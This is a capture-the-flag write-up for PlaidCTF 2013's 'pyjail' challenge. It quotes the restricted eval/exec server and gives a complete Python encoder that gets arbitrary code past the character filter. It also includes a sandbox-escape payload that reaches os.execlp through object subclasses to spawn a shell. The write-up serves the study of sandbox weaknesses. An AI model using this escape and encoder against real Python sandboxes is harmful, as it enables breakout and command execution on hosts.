pCTF 2013 – pyjail (misc 400)

We did not solve this challenge in time, despite spending a lot of time on it. If we had we would have taken 1st place, but of course there’s always that one challenge you wish you had solved…

Still, it was a really cool challenge and we solved the first part pretty well before getting stuck. And that part deserves a writeup at least.

This challenge consisted of a server that read a string from the user, removed most interesting characters from it, and then ran it through python’s eval and exec. The goal was to get a shell using only the very limited remaining character set and a maximum of 1900 characters, and while having a very stripped down environmen.

Here is the full code of the challenge:

#!/usr/bin/python -u
This challenge is a tribute to 'python jail' and 'The Sandboxed Terminal'
from Hack.lu 2012's CTF by Fluxfingers. Oh python, why you so why you so.
You should read some writeups on these (e.g. at ctftime.org/task/124/ and
ctftime.org/task/130/). You'll want to use a similar strategies to both
get past the character restrictions (e.g. `x`==repr(x) and True+True==2)
and to get past the sandboxing (e.g. the except handler below)

from sys import modules
del modules

_raw_input = raw_input
_eval = eval
ident = ''.join((chr(i) for i in xrange(256)))

#TIL: the interactive interpreter freaks if 'True' gets undefined,
#and 'None' is actually a keyword pretending to be a variable.
__builtins__ = None

print 'Get a shell. The flag is NOT in ./key, ./flag, etc.'

while 1:
    inp = _raw_input()
    if not inp: continue
    inp = inp.split()[0][:1900]
    #Dick move: you also have to only use the characters that my solution did.
    inp = inp.translate(ident, '!"#$&*+-/0123456789;=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^abcdefghijklmnopqrstuvwxyz|')
    a = None
    print "Input: ", inp
    tmp = _eval(inp, {})
    print "Intermediate: ", tmp
    foo = 'a=' + tmp
    print "Actual: ", foo
    exec ('print ' + tmp) in {}
    print 'Return Value:', a
  except ().__class__.__bases__[0].__subclasses__()[46].__subclasses__()[0], e: #42 is base exception.
    if e.__str__().startswith('EOF'): raise e
    else: print 'Exception:', e

The encoding part seems the hardest, but we had done that before and in the end came up with some even better tricks that manage to encode a completely arbitrary character of python code at the cost of about 6 characters in the encoded string. We do not believe anyone else had an encoder that had the same level of efficiency, so we present it here in a cleaned up form and with a bunch of comments.


import sys

# these chars are filtered out so must be encoded somehow
bad = '!"#$&*+-/0123456789;=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^abcdefghijklmnopqrstuvwxyz|' 

# program stops reading input after first whitespace character
bad += "\t\r\n\v "

def encode(mystr):

    # trickery note: everything after the first "%c" is outside the string and so the encoding
    # must not use hex escapes. as it turns out, "%cexec(a)" can be entirely encoded
    # without generating hex escapes πŸ˜€
    # mystr is prefixed by "a='". the "a=" comes from pyjail, the "'" from the `` quotes.
    # the first %c becomes a "'", the second becomes a "\n"
    # if there was no a= prefix we could just encode it as exec('...'). in that case you need
    # two %c's for the "'" chars, and start the slice at offset 1 instead of 0.
    mystr += "%c%cexec(a)"

    # this will end up in `'...'` quotes. that means that the resulting string will have 
    # a "'" as its first char and non-ascii chars will be expanded as hex escapes. 
    # from the starting quote on every sixth char will be taken. in the loop this means each
    # iteration adds (a multiple of) six chars. the 4th char of each 6-char sequence is taken.
    s = '!!'
    for c in mystr:
        if c not in bad and repr(c) == ("'%c'" % c): # chars that need no escaping
            s += '!!!%c!!' % c
        elif c in "0123456789abcdef": # hex chars, take last char of a \xd? sequence
            s += '%c!!' % (0xd0 | int(c, 16))
        elif c == 'x': # take x from a \xda sequence, this is needed for 'exec' without hex escapes
            s += '!!\xda'
        # adding a case for '\' is harder since it needs to "borrow" a space from the next char.
        # not that difficult but '\' is not much used anyway, do don't bother to optimize it.
        else: # render all other chars as a hex escape
            s += "!!!\xda!\xda%c!!%c!!" % (0xd0 | (ord(c) >> 4), 0xd0 | (ord(c) & 0xf))

    # replace padding chars with the shortest possible legal sequences
    s = s.replace('!!!!', '\xda').replace('!','_')

    six = "~(~(''<())<<(''<()))<<(''<())" 
    quote = "`''`[[]<[]]"
    ten = "~(~((''<())<<(''<()))<<(''<()))<<(''<())"

    return "`'%s'`[::%s]%%(%s,%s)" % (s, six, quote, ten)

code = "().__class__.__bases__[0].__subclasses__()[48].__init__.__globals__['linecache'].os.execlp('sh','')\n"
code *= 3

res = encode(code)

print >>sys.stderr, "unencoded len: %d\nencoded len: %d" % (len(code), len(res))

print res

Note that we pasted in the winning python code that some of the other teams mentioned after the CTF. It’s actually encoded three times, just to show off our encoder and spread the fixed cost over more characters.

Comments are closed.